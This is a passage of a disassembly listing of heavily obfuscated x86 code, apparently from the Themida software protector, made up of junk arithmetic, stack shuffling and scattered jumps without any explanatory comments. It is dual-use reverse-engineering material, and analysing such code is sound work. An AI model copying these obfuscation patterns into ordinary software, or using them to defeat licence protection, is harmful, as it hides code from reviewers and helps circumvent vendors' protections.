; ---------------------------------------------------------------------------


loc_561AEC:				; CODE XREF: sub_56207C+7B8Cj
		add	ecx, edx
		pop	edx
		jmp	sub_55FBBE
; ---------------------------------------------------------------------------


loc_561AF4:				; CODE XREF: sub_56207C+9FE6j
		and	ebx, esi
		pop	esi
		sub	ebx, 0C17FDCD2h
		sub	edx, 5AC954D5h
		add	edx, ebx
		add	edx, 5AC954D5h
		pop	ebx
		add	edx, ebp
		sub	edx, 62D22C0Eh
		add	edx, 353E0018h
		push	[esp+1Ah+var_1C+2]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Eh+var_20+2]
		jmp	loc_570A2F
; ---------------------------------------------------------------------------


loc_561B32:				; CODE XREF: sub_56207C+1140Ej
		mov	[esp+1Eh+var_20+2], edx
		mov	edx, 2E294A81h
		push	ecx
		mov	ecx, 52121DC6h
		add	[esp+22h+var_1C+2], ecx
		pop	ecx
		add	[esp+1Eh+var_1C+2], edx
		jmp	loc_569B7B
; ---------------------------------------------------------------------------


loc_561B4E:				; CODE XREF: sub_56207C+23D5j
		mov	eax, edi
		pop	edi
		mov	ebp, eax
		pop	eax
		jmp	loc_565E50
; ---------------------------------------------------------------------------


loc_561B59:				; CODE XREF: sub_56207C+F8BEj
		pop	edi
		add	ebx, edx
		jmp	loc_5676AD
; ---------------------------------------------------------------------------


loc_561B61:				; CODE XREF: sub_56207C+FD26j
		mov	ebx, esi
		jmp	loc_5723E2
; ---------------------------------------------------------------------------


loc_561B68:				; CODE XREF: sub_56207C+D43Dj
		pop	edi
		sub	edx, 14354976h
		add	edx, ebp
		push	ecx
		mov	ecx, 6ADC0FD6h
		neg	ecx
		xor	ecx, 8116B95Ch
		add	edx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_570F6C
; ---------------------------------------------------------------------------


loc_561B88:				; CODE XREF: sub_56207C+4B75j
		mov	ecx, [esp+0Ah+var_C+2]
		jmp	loc_5654B8
; ---------------------------------------------------------------------------


loc_561B90:				; CODE XREF: sub_56207C-2B80j
		shr	edi, 2
		jmp	loc_561488
; ---------------------------------------------------------------------------


loc_561B98:				; CODE XREF: sub_56207C+316j
		neg	edi
		push	ecx
		mov	ecx, 45DD0479h
		add	ecx, 26314CAh
		push	edx
		mov	edx, 2A797CF3h
		sub	edi, edx
		pop	edx
		sub	edi, ecx
		add	edi, 2A797CF3h
		pop	ecx
		xor	ebx, edi
		mov	edi, [esp+24h+var_24]
		jmp	loc_5734FC
; ---------------------------------------------------------------------------


loc_561BC2:				; CODE XREF: sub_56207C+7802j
		pop	ebx
		shl	esi, 5
		jmp	loc_567B46
; ---------------------------------------------------------------------------


loc_561BCB:				; CODE XREF: sub_56207C+5C74j
		push	[esp+20h+var_20]
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		jmp	loc_5728CF
; ---------------------------------------------------------------------------


loc_561BDF:				; CODE XREF: sub_56207C+34B4j
		pop	edx
		push	ecx
		jmp	sub_55F45F
; ---------------------------------------------------------------------------


loc_561BE6:				; CODE XREF: sub_56207C+26ABj
		push	[esp+28h+var_28]
		pop	ecx
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp+2Ch+var_2C], esi
		push	65A72CDEh
		jmp	loc_56BA62
; ---------------------------------------------------------------------------


loc_561C01:				; CODE XREF: sub_56207C+B7F5j
		xchg	ebx, [esp+30h+var_30]
		pop	esp
		or	eax, eax
		jnz	loc_5669EE
		sub	esp, 4
		mov	[esp+30h+var_30], ebx
		push	5BFBh
		mov	[esp+34h+var_34], ebp
		jmp	loc_5697D1
; ---------------------------------------------------------------------------


loc_561C23:				; CODE XREF: sub_56207C+F2EDj
		sub	al, 3Dh
		sub	al, 0FFh
		dec	al
		jmp	loc_565FFA
; ---------------------------------------------------------------------------


loc_561C2E:				; CODE XREF: sub_56207C+616Dj
		mov	[esp+34h+var_34], esi
		push	ecx
		jmp	loc_5603F6
; ---------------------------------------------------------------------------


loc_561C37:				; CODE XREF: sub_56207C+CD71j
		push	[esp+38h+var_38]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_56ADC3
; ---------------------------------------------------------------------------


loc_561C4F:				; CODE XREF: sub_56207C+7A70j
		push	[esp+3Ch+var_3C]
		mov	edx, [esp+40h+var_40]
		add	esp, 4
		add	esp, 4
		push	edi
		jmp	loc_56EA8B
; ---------------------------------------------------------------------------


loc_561C61:				; CODE XREF: sub_56207C+D8A0j
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp+38h+var_38]
		add	esp, 4
		sub	esi, 6D515476h
		add	esi, edi
		add	esi, 6D515476h
		mov	edi, [esp+34h+var_34]
		add	esp, 4
		add	esi, 2
		xchg	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		jmp	loc_570457
; ---------------------------------------------------------------------------


loc_561C91:				; CODE XREF: sub_56207C+B557j
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_569FD7
; ---------------------------------------------------------------------------


loc_561C9A:				; CODE XREF: sub_56207C+CD3Cj
		push	eax
		not	[esp+34h+var_34]
		pop	eax
		xor	eax, 0EF7D70B3h
		mov	edx, eax
		pop	eax
		shl	edx, 5
		jmp	loc_5653CB
; ---------------------------------------------------------------------------


loc_561CAF:				; CODE XREF: sub_56207C+DDA5j
		add	ebp, 4
		jmp	loc_56DD21
; ---------------------------------------------------------------------------


loc_561CB7:				; CODE XREF: sub_56207C-3BF1j
		add	esp, 4
		shl	ebp, 4
		or	ebp, 4BC12345h
		xor	ebp, 2FD93CF0h
		sub	ebp, 0B7A1FA31h
		mov	esi, ebp
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		add	esi, 0FFFFFFFFh
		push	edx
		jmp	loc_569D18
; ---------------------------------------------------------------------------


loc_561CE6:				; CODE XREF: sub_56207C+77DFj
		add	eax, 4
		xchg	eax, [esp+20h+var_20]
		pop	esp
		push	3CC4h
		mov	[esp+20h+var_20], edi
		mov	edi, 4
		push	edx
		mov	edx, 4BE661D2h
		shr	edx, 1
		add	edx, 779B2512h
		neg	edx
		dec	edx
		add	edx, 0C0AAC197h
		sub	ebp, edx
		jmp	loc_55EF56
; ---------------------------------------------------------------------------


loc_561D1A:				; CODE XREF: sub_56207C+1A1Aj
		not	eax
		jmp	loc_560EC3
; ---------------------------------------------------------------------------


loc_561D21:				; CODE XREF: sub_56207C+D34Cj
		sub	ebp, 0E032549h
		neg	ebp
		inc	ebp
		sub	ebp, 944C4D0Fh
		add	eax, ebp
		pop	ebp
		pop	edi
		push	esi
		sub	esp, 4
		mov	[esp+24h+var_24], eax
		push	61DD1FB7h
		jmp	loc_5686AF
; ---------------------------------------------------------------------------


loc_561D48:				; CODE XREF: sub_56207C-3C2Aj
		pop	edx
		add	ebp, esi
		add	ebp, 4A6C7666h
		push	[esp+10h+var_10]
		pop	esi
		add	esp, 4
		jmp	loc_56AFEF
; ---------------------------------------------------------------------------


loc_561D5D:				; CODE XREF: sub_56207C+2EDCj
		mov	bh, dh
		jmp	loc_560D38
; ---------------------------------------------------------------------------


loc_561D64:				; CODE XREF: sub_56207C+4A4Ej
		mov	esi, esp
		jmp	loc_56358A
; ---------------------------------------------------------------------------


loc_561D6B:				; CODE XREF: sub_56207C+64A3j
		xor	esi, [esp+0Ch+var_C]
		jmp	loc_5607AE
; ---------------------------------------------------------------------------


loc_561D73:				; CODE XREF: sub_56207C+927Bj
		pop	ecx
		jmp	loc_561620
; ---------------------------------------------------------------------------


loc_561D79:				; CODE XREF: sub_56207C-1001j
		xor	[esp+34h+var_34], edx
		xor	edx, [esp+34h+var_34]
		jmp	loc_56456A
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_561D84	proc near		; DATA XREF: Themida_:0055E370o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp+0], al
		pushf
		jmp	loc_55E3C3
sub_561D84	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_561D93:				; CODE XREF: sub_56207C-2C44j
		add	ebx, esi
		pop	esi
		jmp	loc_570604
; ---------------------------------------------------------------------------


loc_561D9B:				; CODE XREF: sub_56207C+780Fj
		push	edx
		push	[esp+1Eh+var_1C+2]
		pop	edx
		pop	[esp+1Eh+var_20+2]
		mov	esp, [esp+1Ah+var_1C+2]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_561DAC:				; CODE XREF: sub_56207C-D0Dj
		mov	ebp, [esp+1Ch+var_1C]
		push	ebx
		mov	ebx, esp
		jmp	loc_56726D
; ---------------------------------------------------------------------------


loc_561DB7:				; CODE XREF: sub_56207C-2976j
		sub	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	esp
		pop	[esp+14h+var_14]
		add	[esp+10h+var_10], 4
		jmp	loc_5609A1
; ---------------------------------------------------------------------------


loc_561DE0:				; CODE XREF: sub_56207C+1213j
		mov	eax, 3FF845E4h
		add	[esp+10h+var_C], eax
		jmp	loc_55E9E7
; ---------------------------------------------------------------------------


loc_561DEE:				; CODE XREF: sub_56207C+1047j
		add	esi, ecx
		pop	ecx
		push	esi
		push	[esp+10h+var_C]
		push	[esp+14h+var_14]
		pop	esi
		jmp	sub_560886
; ---------------------------------------------------------------------------


loc_561DFF:				; CODE XREF: sub_56207C-1654j
		or	esi, 333D7C62h
		xchg	eax, esi
		dec	eax
		xchg	eax, esi
		add	esi, 8080828Ah
		jmp	loc_56EEB3
; ---------------------------------------------------------------------------


loc_561E13:				; CODE XREF: sub_56207C+3ED7j
		shl	edx, 8
		add	edx, 1E4584E7h
		sub	ebp, edx
		pop	edx
		add	ebp, ebx
		add	ebp, 1A5851E7h
		add	ebp, 48BD6808h
		pop	ebx
		push	26A8h
		mov	[esp+48h+var_48], ebp
		push	[esp+48h+var_44]
		pop	ebp
		pop	[esp+48h+var_48]
		mov	esp, [esp+44h+var_44]
		jmp	loc_56BB60
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F2AC


loc_561E46:				; CODE XREF: sub_55F2AC+2169j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_56D795
; END OF FUNCTION CHUNK	FOR sub_55F2AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_561E5A:				; CODE XREF: sub_56207C+10F7Bj
		shr	esi, 3
		push	ebx
		push	38B957AFh
		pop	ebx
		sub	esi, 0B1757F5h
		add	esi, ebx
		add	esi, 0B1757F5h
		pop	ebx
		jmp	loc_56956D
; ---------------------------------------------------------------------------


loc_561E78:				; CODE XREF: sub_56207C+4CCBj
		sub	dl, cl
		pop	cx
		xchg	al, dl
		jmp	loc_56D46E
; ---------------------------------------------------------------------------


loc_561E83:				; CODE XREF: sub_56207C+50CCj
		push	ecx
		mov	ecx, 4278149Dh
		add	eax, ecx
		pop	ecx
		mov	ecx, [esp+42h+var_44+2]
		jmp	loc_567288
; ---------------------------------------------------------------------------


loc_561E94:				; CODE XREF: sub_56207C+E820j
		sub	edx, 5F781186h
		add	edx, edi
		jmp	loc_568587
; ---------------------------------------------------------------------------


loc_561EA1:				; CODE XREF: sub_56207C+BB46j
		sub	edx, 5AE57B01h
		sub	edx, 2F477B7Ah
		add	edx, ebp
		jmp	loc_56CA68
; ---------------------------------------------------------------------------


loc_561EB4:				; CODE XREF: sub_56207C+1EA9j
		push	edx
		jmp	loc_56F243
; ---------------------------------------------------------------------------


loc_561EBA:				; CODE XREF: sub_56207C+8209j
		add	edi, 0A90EF440h
		add	edx, edi
		mov	edi, [esp+46h+var_48+2]
		push	esi
		jmp	loc_55EBE1
; ---------------------------------------------------------------------------


loc_561ECB:				; CODE XREF: sub_56207C-A28j
		sub	edi, 3EE149E3h
		pop	ebp
		push	46D0h
		mov	[esp+40h+var_40], eax
		push	ebx
		mov	ebx, 2
		push	ebx
		pop	eax
		jmp	loc_56DADF
; ---------------------------------------------------------------------------


loc_561EE7:				; CODE XREF: sub_56207C-166Aj
		inc	ebx
		jmp	loc_56D7BA
; ---------------------------------------------------------------------------


loc_561EED:				; CODE XREF: sub_56207C-1D44j
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp+10h+var_10]
		jmp	loc_55F939
; ---------------------------------------------------------------------------


loc_561EF8:				; CODE XREF: sub_56207C+BD08j
		sub	ebp, 4E880055h
		jmp	loc_564BCD
; ---------------------------------------------------------------------------


loc_561F03:				; CODE XREF: sub_56207C+8CB4j
		mov	esi, esp
		add	esi, 4
		push	3D44h
		jmp	loc_55EAE5
; ---------------------------------------------------------------------------


loc_561F15:				; CODE XREF: sub_56207C-39BFj
		not	eax
		push	edi
		mov	edi, 39CB0B23h
		or	eax, edi
		pop	edi
		add	eax, 40101495h
		add	ebx, eax
		mov	eax, [esp+20h+var_20]
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		push	[esp+20h+var_1C]
		mov	ebx, [esp+24h+var_24]
		jmp	loc_5642BE
; ---------------------------------------------------------------------------


loc_561F45:				; CODE XREF: sub_56207C+4BB5j
		push	ecx
		jmp	$+5
		push	[esp+28h+var_24]
		mov	ecx, [esp+2Ch+var_2C]
		jmp	loc_56FFFE
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_561F57	proc near		; CODE XREF: sub_56207C+93F7j
		push	ebx
		push	esp
		jmp	loc_562CAB
sub_561F57	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_561F5E:				; CODE XREF: sub_56207C+A763j
		pop	ecx
		push	6342h
		mov	[esp+2Ch+var_2C], ecx
		push	1FAE53C1h
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_562B4D
; ---------------------------------------------------------------------------


loc_561F7A:				; CODE XREF: sub_56207C+8EFCj
		add	eax, 74A52F5h
		jmp	loc_571E90
; ---------------------------------------------------------------------------


loc_561F84:				; CODE XREF: sub_56207C+FF87j
		mov	ebp, edx
		pop	edx
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+24h+var_24]
		xor	[esp+24h+var_24], ebx
		xor	ebx, [esp+24h+var_24]
		pop	esp
		push	47BBh
		jmp	loc_5709F9
; ---------------------------------------------------------------------------


loc_561F9E:				; CODE XREF: sub_56207C+D9B2j
		mov	ch, bl
		pop	ebx
		push	1614h
		mov	[esp+24h+var_24], eax
		push	ebx
		mov	bh, 0B9h
		not	bh
		or	bh, 0Dh
		jmp	loc_56B89C
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_561FB6:				; DATA XREF: Themida_:0055E194o
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_562318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_561FC1:				; CODE XREF: sub_56207C+5AD7j
		and	esi, 549169ACh
		not	esi
		inc	esi
		xor	esi, 0FFEEDFFCh
		jmp	loc_55FD5B
; ---------------------------------------------------------------------------


loc_561FD5:				; CODE XREF: sub_56207C+4616j
		add	edx, 4
		xchg	edx, [esp+28h+var_28]
		pop	esp
		push	2AAAh
		mov	[esp+28h+var_28], ecx
		push	98Ch
		mov	[esp+2Ch+var_2C], eax
		push	[esp+2Ch+var_2C]
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		sub	esp, 4
		mov	[esp+30h+var_30], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+30h+var_30]
		xor	[esp+30h+var_30], ebp
		xor	ebp, [esp+30h+var_30]
		pop	esp
		mov	edx, ecx
		push	[esp+2Ch+var_2C]
		push	[esp+30h+var_30]
		jmp	loc_560F04
; ---------------------------------------------------------------------------


loc_562026:				; CODE XREF: sub_56207C+C51Aj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56202B:				; CODE XREF: sub_56207C+110A3j
		add	eax, 2EE323B0h
		push	[esp+34h+var_34]
		pop	ebx
		add	esp, 4
		sub	eax, 23BCB305h
		jmp	loc_563CE1
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_562044:				; DATA XREF: Themida_:0055E0E8o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_562052:				; CODE XREF: sub_56207C+FD3Ej
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], ebx
		push	ecx
		push	edx
		mov	edx, 767B0E14h
		mov	ecx, edx
		pop	edx
		xor	[esp+30h+var_2C], ecx
		mov	ecx, [esp+30h+var_30]
		push	edi
		jmp	loc_570510
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_56207C	proc near		; DATA XREF: Themida_:0055E13Co

var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_26		= dword	ptr  2Ah
arg_2A		= dword	ptr  2Eh
arg_30		= dword	ptr  34h
arg_34		= dword	ptr  38h
arg_38		= dword	ptr  3Ch
arg_3C		= dword	ptr  40h

; FUNCTION CHUNK AT 0055E3C3 SIZE 00000247 BYTES
; FUNCTION CHUNK AT 0055E622 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0055E66C SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0055E6CB SIZE 0000018F BYTES
; FUNCTION CHUNK AT 0055E868 SIZE 00000101 BYTES
; FUNCTION CHUNK AT 0055E975 SIZE 00000067 BYTES
; FUNCTION CHUNK AT 0055E9E7 SIZE 0000006E BYTES
; FUNCTION CHUNK AT 0055EA7A SIZE 00000207 BYTES
; FUNCTION CHUNK AT 0055ECA4 SIZE 000000D7 BYTES
; FUNCTION CHUNK AT 0055ED8F SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0055EDE1 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055EE18 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055EE65 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055EEB1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055EF0B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055EF2E SIZE 000000D7 BYTES
; FUNCTION CHUNK AT 0055F01F SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0055F082 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0055F0D7 SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0055F155 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0055F1AB SIZE 00000101 BYTES
; FUNCTION CHUNK AT 0055F2C4 SIZE 0000019B BYTES
; FUNCTION CHUNK AT 0055F46A SIZE 00000097 BYTES
; FUNCTION CHUNK AT 0055F507 SIZE 00000087 BYTES
; FUNCTION CHUNK AT 0055F596 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0055F607 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055F629 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0055F673 SIZE 000002AE BYTES
; FUNCTION CHUNK AT 0055F939 SIZE 00000285 BYTES
; FUNCTION CHUNK AT 0055FBC4 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0055FC2C SIZE 0000016B BYTES
; FUNCTION CHUNK AT 0055FD9D SIZE 00000068 BYTES
; FUNCTION CHUNK AT 0055FE12 SIZE 000000A4 BYTES
; FUNCTION CHUNK AT 0055FEC8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055FF67 SIZE 00000261 BYTES
; FUNCTION CHUNK AT 005601D7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00560200 SIZE 000002CB BYTES
; FUNCTION CHUNK AT 005604EF SIZE 0000027E BYTES
; FUNCTION CHUNK AT 00560775 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005607AE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005607CA SIZE 000000BC BYTES
; FUNCTION CHUNK AT 0056088C SIZE 00000272 BYTES
; FUNCTION CHUNK AT 00560B09 SIZE 00000157 BYTES
; FUNCTION CHUNK AT 00560C67 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00560CE1 SIZE 00000106 BYTES
; FUNCTION CHUNK AT 00560DF2 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00560E3D SIZE 000000B3 BYTES
; FUNCTION CHUNK AT 00560EFA SIZE 000000A5 BYTES
; FUNCTION CHUNK AT 00560FAD SIZE 000000A7 BYTES
; FUNCTION CHUNK AT 00561064 SIZE 00000072 BYTES
; FUNCTION CHUNK AT 005610E4 SIZE 000001B4 BYTES
; FUNCTION CHUNK AT 005612A0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005612D3 SIZE 000000E7 BYTES
; FUNCTION CHUNK AT 005613C8 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005613F8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056141A SIZE 00000096 BYTES
; FUNCTION CHUNK AT 005614CE SIZE 000001BB BYTES
; FUNCTION CHUNK AT 00561692 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005616AD SIZE 0000019C BYTES
; FUNCTION CHUNK AT 0056184F SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00561893 SIZE 000000FF BYTES
; FUNCTION CHUNK AT 0056199B SIZE 000003E9 BYTES
; FUNCTION CHUNK AT 00561D93 SIZE 000000B3 BYTES
; FUNCTION CHUNK AT 00561E5A SIZE 000000FD BYTES
; FUNCTION CHUNK AT 00561F5E SIZE 00000058 BYTES
; FUNCTION CHUNK AT 00561FC1 SIZE 00000083 BYTES
; FUNCTION CHUNK AT 00562052 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0057356F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00573599 SIZE 000000AD BYTES

		push	ebp
		jmp	loc_573556
; ---------------------------------------------------------------------------


loc_562082:				; CODE XREF: sub_56207C+4473j
		add	esi, edx
		pop	edx
		push	ecx
		push	ebp
		push	6F42329h
		pop	ebp
		sub	esp, 4
		jmp	loc_5692B5
; ---------------------------------------------------------------------------


loc_562098:				; CODE XREF: sub_56207C+E2F1j
		pop	esp
		mov	[esp+3Ch+var_3C], edx
		mov	edx, esi
		push	edx
		jmp	loc_56B92D
; ---------------------------------------------------------------------------


loc_5620A4:				; DATA XREF: Themida_:0055E284o
		mov	ax, word ptr [esp+40h+var_40]
		push	1D77h
		jmp	loc_568FBF
; ---------------------------------------------------------------------------


loc_5620B2:				; CODE XREF: sub_56207C+B48j
		push	3393h
		mov	[esp+48h+var_48], esi
		push	[esp+48h+var_48]
		push	[esp+4Ch+var_4C]
		pop	edi
		push	568Eh
		jmp	loc_560954
; ---------------------------------------------------------------------------


loc_5620CB:				; CODE XREF: sub_56207C+C903j
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, 52AF5AA8h
		jmp	loc_5718F9
; ---------------------------------------------------------------------------


loc_5620E2:				; CODE XREF: sub_56207C+D73Fj
		mov	esi, 1C0905F1h
		sub	ecx, esi
		pop	esi
		pop	edi
		xchg	ecx, [esp+4Ch+var_4C]
		pop	esp
		push	1230h
		jmp	loc_562C91
; ---------------------------------------------------------------------------


loc_5620F9:				; CODE XREF: sub_56207C+225Fj
		or	ebx, 68D12086h
		sub	ebx, 44E0C94Bh
		push	eax
		mov	eax, 694A02EFh
		jmp	loc_560C87
; ---------------------------------------------------------------------------


loc_562110:				; CODE XREF: sub_56207C+3164j
		sub	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 325B7A64h
		jmp	loc_569657
; ---------------------------------------------------------------------------


loc_56211E:				; CODE XREF: sub_56207C+98EEj
		push	eax
		mov	eax, 3BA36728h
		jmp	loc_56E2E9
; ---------------------------------------------------------------------------


loc_562129:				; CODE XREF: sub_56207C+8E35j
		add	edx, 0D9FE2D80h
		sub	edi, edx
		pop	edx
		jmp	loc_569BAE
; ---------------------------------------------------------------------------


loc_562137:				; CODE XREF: sub_56207C+5ED6j
		mov	ebx, [esp+50h+var_50]
		jmp	loc_560C67
; ---------------------------------------------------------------------------


loc_56213F:				; CODE XREF: sub_56207C+1CCCj
		xchg	esi, [esp+50h+var_50]
		pop	esp
		mov	[esp+4Ch+var_4C], ecx
		mov	ecx, 4
		sub	eax, 513D0CA7h
		add	eax, ecx
		push	esi
		mov	esi, 22CA3638h
		xor	esi, 19B24AF2h
		jmp	loc_565A6B
; ---------------------------------------------------------------------------


loc_562163:				; CODE XREF: sub_56207C+C1E2j
		mov	esp, [esp+50h+var_50]
		mov	cx, word ptr [esp+50h+var_50]
		push	40E0h
		mov	[esp+54h+var_54], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp+54h+var_54]
		xor	[esp+54h+var_54], edi
		xor	edi, [esp+54h+var_54]
		pop	esp
		mov	[esp+50h+var_50], ecx
		sub	esp, 4
		mov	[esp+54h+var_54], esp
		push	ecx
		mov	ecx, 4
		add	[esp+58h+var_54], ecx
		pop	ecx
		pop	ecx
		push	ebx
		push	ecx
		mov	ecx, 0CD6F92h
		jmp	loc_567B66
; ---------------------------------------------------------------------------


loc_5621AB:				; CODE XREF: sub_56207C+96AFj
		push	[esp+58h+var_58]
		pop	eax
		push	4BCBh
		mov	[esp+5Ch+var_5C], edi
		jmp	loc_563082
; ---------------------------------------------------------------------------


loc_5621BC:				; DATA XREF: Themida_:0055E230o
		mov	cx, word ptr [esp+5Ch+var_5C]
		push	7865h
		mov	[esp+60h+var_60], ecx
		jmp	loc_5733EC
; ---------------------------------------------------------------------------


loc_5621CD:				; CODE XREF: sub_56207C+EC4Ej
		mov	[esp+60h+var_60], esi
		push	49E92F33h
		jmp	loc_57151E
; ---------------------------------------------------------------------------


loc_5621DA:				; CODE XREF: sub_56207C+BF06j
		sub	eax, ebp
		pop	ebp
		add	eax, edx
		add	eax, 1D433F27h
		jmp	loc_5731D1
; ---------------------------------------------------------------------------


loc_5621E9:				; CODE XREF: sub_56207C+A6F8j
		shl	ebp, 3
		push	esi
		push	eax
		mov	eax, 6E641B6Fh
		mov	esi, 4896E4EDh
		jmp	loc_56852F
; ---------------------------------------------------------------------------


loc_5621FD:				; CODE XREF: sub_56207C+10AFCj
		mov	bl, ah
		jmp	loc_563A24
; ---------------------------------------------------------------------------


loc_562204:				; CODE XREF: sub_56207C+4C43j
		mov	ebp, ecx
		pop	ecx
		push	edi
		jmp	loc_55F373
; ---------------------------------------------------------------------------


loc_56220D:				; CODE XREF: sub_56207C+34C1j
		not	ch
		sub	ch, 4Ch
		jmp	loc_56617A
; ---------------------------------------------------------------------------


loc_562217:				; CODE XREF: sub_56207C+C4CAj
		add	ecx, 0FCDC899Ch
		jmp	loc_55F6B8
; ---------------------------------------------------------------------------


loc_562222:				; CODE XREF: sub_56207C+2397j
		sub	eax, edx
		push	ecx
		mov	ecx, 981C14h
		add	eax, ecx
		pop	ecx
		pop	edx
		jmp	loc_568EE7
; ---------------------------------------------------------------------------


loc_562233:				; CODE XREF: sub_56207C+DBCj
		sub	ecx, ebx
		add	ecx, 558346EBh
		add	ecx, 1EFA1CECh
		pop	ebx
		push	74B2h
		mov	[esp+64h+var_64], ebp
		mov	ebp, 451115B1h
		push	edi
		push	ebp
		mov	ebp, 461546A9h
		add	ebp, 0C33DEABAh
		mov	edi, ebp
		pop	ebp
		push	eax
		jmp	loc_55E76C
; ---------------------------------------------------------------------------


loc_562265:				; CODE XREF: sub_56207C-2E08j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
